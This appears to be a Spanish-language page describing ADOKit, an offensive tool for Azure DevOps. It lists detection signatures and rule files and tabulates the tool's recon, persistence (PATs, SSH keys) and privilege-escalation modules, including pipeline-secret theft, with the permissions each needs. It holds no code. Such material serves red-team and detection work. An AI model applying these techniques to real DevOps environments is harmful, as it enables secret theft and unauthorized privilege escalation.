A continuación se muestran firmas estáticas para el uso específico de esta herramienta en su estado predeterminado:
{60BC266D-1ED5-4AB5-B0DD-E1001C3B1498}
ADOKit-21e233d4334f9703d1a3a42b6e2efd38
ADOKitUsage.json - Detecta el uso de ADOKit con cualquier evento auditable (por ejemplo, agregar un usuario a un grupo)PersistenceTechniqueWithADOKit.json - Detecta la creación de una PAT o clave SSH con ADOKitPara obtener orientación sobre la detección de las técnicas utilizadas por la herramienta, consulte el documento técnico de X-Force Red.
https://learn.microsoft.com/en-us/rest/api/azure/devops/?view=azure-devops-rest-7.1https://learn.microsoft.com/en-us/azure/devops/user-guide/what-is-azure-devops?view=azure-devops| Attack Scenario | Module | Special Permissions? | Notes |
|---|
| Recon | check | No | |
| Recon | whoami | No | |
| Recon | listorgs | No | |
| Recon | listrepo | No | |
| Recon | searchrepo | No | |
| Recon | listproject | No | |
| Recon | searchproject | No | |
| Recon | searchcode | No | |
| Recon | searchfile | No | |
| Recon | listuser | No | |
| Recon | searchuser | No | |
| Recon | listteam | No | |
| Recon | searchteam | No | |
| Recon | getteammembers | No | |
| Recon | listgroup | No | |
| Recon | searchgroup | No | |
| Recon | getgroupmembers | No | |
| Recon | getpermissions | No | |
| Recon | creds | No | |
| Recon | getbuildlogs | Sí - Contributors o Readers o Build Administrators o Project Administrators o Project Team Member o Project Collection Test Service Accounts o Project Collection Build Service Accounts o Project Collection Build Administrators o Project Collection Service Accounts o Project Collection Administrators | |
| Recon | listbuildlogs | Sí - Contributors o Readers o Build Administrators o Project Administrators o Project Team Member o Project Collection Test Service Accounts o Project Collection Build Service Accounts o Project Collection Build Administrators o Project Collection Service Accounts o Project Collection Administrators | |
| Recon | searchbuildlogs | Sí - Contributors o Readers o Build Administrators o Project Administrators o Project Team Member o Project Collection Test Service Accounts o Project Collection Build Service Accounts o Project Collection Build Administrators o Project Collection Service Accounts o Project Collection Administrators | |
| Persistence | createpat | No | |
| Persistence | listpat | No | |
| Persistence | removepat | No | |
| Persistence | createsshkey | No | |
| Persistence | listsshkey | No | |
| Persistence | removesshkey | No | |
| Privilege Escalation | addprojectadmin | Sí - Project Administrator, Project Collection Administrator o Project Collection Service Accounts | |
| Privilege Escalation | removeprojectadmin | Sí - Project Administrator, Project Collection Administrator o Project Collection Service Accounts | |
| Privilege Escalation | addbuildadmin | Sí - Project Administrator, Project Collection Administrator o Project Collection Service Accounts | |
| Privilege Escalation | removebuildadmin | Sí - Project Administrator, Project Collection Administrator o Project Collection Service Accounts | |
| Privilege Escalation | addcollectionadmin | Sí - Project Collection Administrator o Project Collection Service Accounts | |
| Privilege Escalation | removecollectionadmin | Sí - Project Collection Administrator o Project Collection Service Accounts | |
| Privilege Escalation | addcollectionbuildadmin | Sí - Project Collection Administrator o Project Collection Service Accounts | |
| Privilege Escalation | removecollectionbuildadmin | Sí - Project Collection Administrator o Project Collection Service Accounts | |
| Privilege Escalation | addcollectionbuildsvc | Sí - Project Collection Administrator, Project Colection Build Administrators o Project Collection Service Accounts | |
| Privilege Escalation | removecollectionbuildsvc | Sí - Project Collection Administrator, Project Colection Build Administrators o Project Collection Service Accounts | |
| Privilege Escalation | addcollectionsvc | Sí - Project Collection Administrator o Project Collection Service Accounts | |
| Privilege Escalation | removecollectionsvc | Sí - Project Collection Administrator o Project Collection Service Accounts | |
| Privilege Escalation | getpipelinevars | Sí - Contributors o Readers o Build Administrators o Project Administrators o Project Team Member o Project Collection Test Service Accounts o Project Collection Build Service Accounts o Project Collection Build Administrators o Project Collection Service Accounts o Project Collection Administrators | |
| Privilege Escalation | getpipelinesecrets | Sí - Contributors o Readers o Build Administrators o Project Administrators o Project Team Member o Project Collection Test Service Accounts o Project Collection Build Service Accounts o Project Collection Build Administrators o Project Collection Service Accounts o Project Collection Administrators | |
| Privilege Escalation | getvariablegroups | Sí - Contributors o Readers o Build Administrators o Project Administrators o Project Team Member o Project Collection Test Service Accounts o Project Collection Build Service Accounts o Project Collection Build Administrators o Project Collection Service Accounts o Project Collection Administrators | |
| Privilege Escalation | getserviceconnections | Sí - Project Administrator, Project Collection Administrator o Project Collection Service Accounts |